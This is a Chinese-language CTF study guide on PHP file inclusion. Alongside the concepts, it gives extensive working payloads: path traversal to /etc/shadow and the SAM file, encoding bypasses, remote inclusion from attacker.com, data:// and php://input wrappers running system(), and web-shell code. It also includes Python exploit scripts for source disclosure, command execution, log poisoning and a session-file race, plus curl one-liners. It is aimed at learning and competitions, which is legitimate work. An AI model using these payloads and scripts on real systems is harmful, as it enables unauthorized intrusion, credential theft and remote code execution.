文件包含
文件包含
文件包含漏洞发生在应用根据用户输入加载一个文件,并把文件内容当作程序、模板或页面片段处理。它常见于 PHP,也可能出现在模板系统、插件系统或动态路由中。
包含和读取的区别
文件读取只把文件内容返回给用户。
文件包含更危险,因为被包含的文件可能会被解释执行。
例如 PHP 中包含一个文件时,如果文件内容里有 PHP 代码,就可能被 PHP 引擎执行。
这就是为什么文件包含经常和上传漏洞、日志污染、临时文件结合。
LFI 和 RFI
LFI 是 Local File Inclusion,本地文件包含。
RFI 是 Remote File Inclusion,远程文件包含。
LFI 的目标通常是服务器本地文件,例如配置、日志、session 文件、上传文件。
RFI 则让服务器包含远程 URL,但现代环境通常默认关闭或限制。
CTF 中 LFI 更常见。
常见入口
文件包含常见参数名包括:
page
file
path
template
module
view
lang但不要只靠参数名判断。真正关键是:参数值是否影响后端加载的文件。
路径和包装器
文件包含与路径解析强相关。
常见基础知识包括:
- 相对路径和绝对路径。
../上级目录。- 默认后缀拼接。
- URL 编码。
- PHP wrapper,例如
php://filter。
如果应用自动拼接 .php,就要判断是否能绕过后缀、利用过滤器读取源码,或包含可控内容。
从包含到执行
文件包含能否变成执行,取决于被包含内容是否可控、是否按代码解释。
常见思路包括:
- 包含上传文件。
- 包含日志文件。
- 包含 session 文件。
- 包含临时文件。
- 包含 data 或 filter wrapper 产生的内容。
这不是"读到文件就结束",而是要判断包含语义。
LFI 常见 Payload
基础路径穿越:
../../../../etc/passwd
../../../../etc/shadow
../../../../etc/hosts
../../../../proc/self/environ
../../../../proc/self/cmdline
../../../../proc/self/fd/0
Windows 常见:
..\..\..\..\windows\system32\drivers\etc\hosts
..\..\..\..\windows\win.ini
..\..\..\..\windows\system32\config\SAM
相对路径:
....//....//....//etc/passwd (双写绕过)
..../..../..../etc/passwd (多余斜杠)
%2e%2e%2f%2e%2e%2fetc/passwd (URL编码)
..%252f..%252f..%252fetc/passwd (双重URL编码)
..%c0%af..%c0%afetc/passwd (UTF-8过度编码)RFI 常见 Payload
远程包含 (需要 allow_url_include=On):
http://attacker.com/shell.txt
https://attacker.com/shell.txt
ftp://attacker.com/shell.txt
通过重定向绕过:
http://attacker.com/redirect.php (302跳转到shell)
通过 data wrapper:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
data://text/plain,<?php system('id');?>PHP Wrapper 链
PHP 提供了多种流包装器,可以用于文件包含利用:
php://filter (读取源码):
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=../config.php
php://input (执行代码):
需要 allow_include_php://input 开启
POST 数据: <?php system('id'); ?>
data:// 协议:
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
phar:// 协议:
phar://upload.jpg/shell.php
需要上传一个包含 shell.php 的 phar 文件
zip:// 协议:
zip://upload.jpg%23shell.php
需要上传一个包含 shell.php 的 zip 文件
compress.zlib:// 协议:
compress.zlib:///etc/passwd# PHP wrapper 利用脚本
import requests
import base64
def lfi_read_source(url, param, file_path):
"""使用 php://filter 读取源码"""
payload = f"php://filter/read=convert.base64-encode/resource={file_path}"
resp = requests.get(url, params={param: payload})
if resp.status_code == 200 and resp.text.strip():
try:
decoded = base64.b64decode(resp.text.strip()).decode('utf-8', errors='ignore')
return decoded
except:
return None
return None
def lfi_data_wrapper(url, param, command):
"""使用 data:// 执行命令"""
payload_b64 = base64.b64encode(f"<?php system('{command}');?>".encode()).decode()
payload = f"data://text/plain;base64,{payload_b64}"
resp = requests.get(url, params={param: payload})
return resp.text
# 使用示例
# source = lfi_read_source("http://target.com/index.php", "page", "config.php")
# print(source)日志投毒 (Log Poisoning)
日志投毒是把恶意代码写入日志文件,再通过文件包含执行:
步骤1: 污染日志
- User-Agent 注入: User-Agent: <?php system('id');?>
- 请求行注入: GET /<?php system('id');?> HTTP/1.1
- Referer 注入: Referer: <?php system('id');?>
步骤2: 包含日志文件
Apache 日志: /var/log/apache2/access.log
Nginx 日志: /var/log/nginx/access.log
SSH 日志: /var/log/auth.log
自定义日志: 根据应用配置确定路径import requests
def log_poisoning_lfi(target_url, include_param, log_path):
"""日志投毒 + LFI"""
# 步骤1: 在 User-Agent 中注入 PHP 代码
malicious_headers = {
"User-Agent": "<?php system($_GET['cmd']);?>"
}
# 发送请求污染日志
requests.get(target_url, headers=malicious_headers)
# 步骤2: 包含日志文件并执行命令
payload = f"{log_path}"
resp = requests.get(target_url, params={
include_param: payload,
"cmd": "id"
})
return resp.text
# 使用示例
# result = log_poisoning_lfi("http://target.com/index.php", "page", "/var/log/apache2/access.log")Session 文件包含
前提: 能控制 session 文件内容 (通常通过 session.upload_progress)
步骤1: 确定 session 文件路径
/tmp/sess_[PHPSESSID]
/var/lib/php/sessions/sess_[PHPSESSID]
步骤2: 控制 session 内容
PHP_SESSION_UPLOAD_PROGRESS 字段会被写入 session
即使 session.upload_progress 为 On
步骤3: 包含 session 文件
page=/tmp/sess_abcdef123456import requests
def session_file_inclusion(target_url, include_param):
"""Session 文件包含"""
session_id = "exploit_session_123"
sess_path = f"/tmp/sess_{session_id}"
# 控制 session 内容
cookies = {"PHPSESSID": session_id}
data = {"PHPSESSID": session_id}
# 使用 upload_progress 写入代码到 session
files = {
"file": ("test.txt", "A" * 10000)
}
# 需要快速并发: 一个请求写 session,一个请求包含 session
import threading
def write_session():
while True:
requests.post(target_url, cookies=cookies, data=data, files=files)
def include_session():
while True:
resp = requests.get(target_url, params={include_param: sess_path},
cookies=cookies)
if "uid=" in resp.text:
print(f"[!] 成功: {resp.text}")
break
t1 = threading.Thread(target=write_session)
t2 = threading.Thread(target=include_session)
t1.start()
t2.start()文件包含 + 路径穿越组合
常见组合:
1. 包含上传文件 + 路径穿越
上传 shell.jpg 到 /uploads/shell.jpg
包含: page=../uploads/shell.jpg
2. 包含日志 + 路径穿越
page=../../../../../var/log/apache2/access.log
3. Wrapper + 路径穿越
php://filter/convert.base64-encode/resource=../../../config.php
4. 编码绕过 + 路径穿越
如果应用过滤 ../
尝试: ..%2f ..%252f ....// ..%c0%af后缀自动拼接绕过
当应用自动拼接后缀如 .php 时:
方法1: 使用 Null 字节 (PHP < 5.3.4)
page=shell.jpg%00
方法2: 利用路径截断
page=shell.jpg/../../...
方法3: 使用 # 注释后缀
page=shell.jpg%23
方法4: 利用 wrapper 不需要后缀
php://filter/read=convert.base64-encode/resource=config
方法5: 利用 phar/zip 协议
phar://uploads/shell.jpg/shell
(shell.jpg 实际是 phar 文件)组合利用
文件包含 + 文件上传:上传图片马(含 PHP 代码的图片),再通过 LFI 包含该图片执行代码。
1. 上传 shell.php.jpg(内容含 <?php system($_GET['cmd']); ?>)
2. 访问 /include.php?page=uploads/shell.php.jpg
3. 执行命令:?page=uploads/shell.php.jpg&cmd=id文件包含 + 日志投毒:向 User-Agent 或请求行注入 PHP 代码,让 Web 服务器写入日志,再通过 LFI 包含日志文件。
1. curl -A "<?php system($_GET['cmd']); ?>" http://target/
2. 访问 /include.php?page=/var/log/apache2/access.log&cmd=id文件包含 + PHP 伪协议:利用 php://filter 读取源码,php://input 执行代码。
读取源码:?page=php://filter/convert.base64-encode/resource=index.php
执行代码:?page=php://input,POST body 为 <?php system('id'); ?>常见误区
- 把路径穿越和文件包含完全等同。
- 只尝试读取
/etc/passwd,不判断是否会执行。 - 忽略应用自动拼接前缀或后缀。
- 不看报错里的真实路径。
- 上传文件后不尝试和包含点联动。
一句话判断
参数能影响服务端加载哪个文件,并且被加载的内容可能被模板引擎、PHP 或应用框架解释处理时,就按文件包含分析。
文件包含比任意文件读取更进一步:读文件只是返回内容,包含文件可能触发代码执行或模板执行。
题目中常见信号
- 参数名是
page、file、path、template、view、module、lang。 - URL 形如
index.php?page=home、?template=login。 - 报错出现
include()、require()、failed to open stream、模板加载路径。 - 访问
php://filter/...后返回 Base64。 - 上传文件后可以通过包含点访问上传路径。
- 修改 User-Agent 后再包含日志,页面行为变化。
- 应用自动拼接
.php、.html、目录前缀或主题路径。
核心概念
文件包含的利用链通常是:
用户控制文件路径
-> 服务端 include/require/render
-> 读取本地/远程/包装器内容
-> 内容被解释或输出
-> 读源码、读配置、执行代码或触发反序列化先判断"包含语义":是直接下载文件,还是把目标当程序片段加载。只有后者才能走上传马、日志投毒、session 文件包含等执行路线。
最小分析流程
- 用正常页面名建立基线,例如
page=home。 - 尝试同目录文件和不存在文件,观察报错路径。
- 尝试路径穿越读
/etc/passwd或 Windowswin.ini。 - PHP 环境优先测试
php://filter读取源码。 - 判断是否自动拼接后缀或前缀。
- 如果能上传文件,尝试包含上传文件。
- 如果不能上传,尝试日志投毒、session 文件、临时文件。
- 成功后记录包含路径、触发方式和执行/读取结果。
最小验证示例
读取源码:
curl 'http://target/index.php?page=php://filter/read=convert.base64-encode/resource=index.php'解码:
echo '<base64>' | base64 -d路径穿越:
curl 'http://target/index.php?page=../../../../etc/passwd'日志投毒验证:
curl -A "<?php echo 'LFI_OK'; ?>" 'http://target/'
curl 'http://target/index.php?page=/var/log/apache2/access.log'如果页面出现 LFI_OK,说明日志内容被包含并解释到了 PHP 代码附近;再进一步换成命令执行。
常见利用 / 解题路线
路线总览:
路线一:php://filter 读源码
page=php://filter/convert.base64-encode/resource=index.php
-> 解码源码
-> 找配置、密钥、包含逻辑、flag 路径路线二:路径穿越读敏感文件
../../../../etc/passwd
../../../../proc/self/environ
../../../../var/www/html/config.php如果只是读取,不执行,继续按 路径穿越 和 任意文件读取与下载 扩展目标文件。
路线三:上传文件 + 包含执行
上传含 PHP 代码的图片
-> 找上传路径
-> page=../uploads/shell.jpg
-> cmd=id路线四:日志投毒
User-Agent 写 PHP 代码
-> Web 日志落盘
-> 包含 access.log
-> 执行命令路线五:Session 文件包含
固定 PHPSESSID
-> 控制 session 内容
-> page=/tmp/sess_<id>
-> 触发包含路线六:phar/zip wrapper
适合上传压缩包或伪装图片,并且目标使用支持的 PHP wrapper。
phar://upload.jpg/file
zip://upload.zip%23shell.php如果触发 phar metadata 反序列化,回到 反序列化进阶。
常见失败原因
- 把读取当执行:能看到
/etc/passwd不等于能执行 PHP。 - 后缀拼接没处理:应用可能把输入变成
pages/<input>.php。 - 路径基准不明:相对路径基于当前脚本目录,不一定是 Web 根目录。
- 日志路径猜错:Apache、Nginx、容器环境日志位置不同。
- PHP 配置不支持:
allow_url_include、wrapper、版本差异会影响 payload。 - Base64 输出被页面包装:
php://filter返回值可能混在 HTML 中,需要提取纯 Base64。 - 上传文件被重命名:要先确认真实保存路径和文件名。
迷你案例
题目入口:
/index.php?page=home访问不存在页面:
/index.php?page=xxx报错:
include(pages/xxx.php): failed to open stream说明后端会拼接:
pages/ + page + .php第一步读源码:
curl 'http://target/index.php?page=php://filter/read=convert.base64-encode/resource=index'如果后缀自动拼接为 .php,resource 写 index 即可被拼成 index.php。
第二步解码源码,发现上传目录 /uploads/。上传内容:
<?php system($_GET["cmd"]); ?>第三步包含:
/index.php?page=../uploads/a.jpg&cmd=idWP 要说明从报错推断路径拼接规则、用 filter 读源码、再联动上传文件实现执行。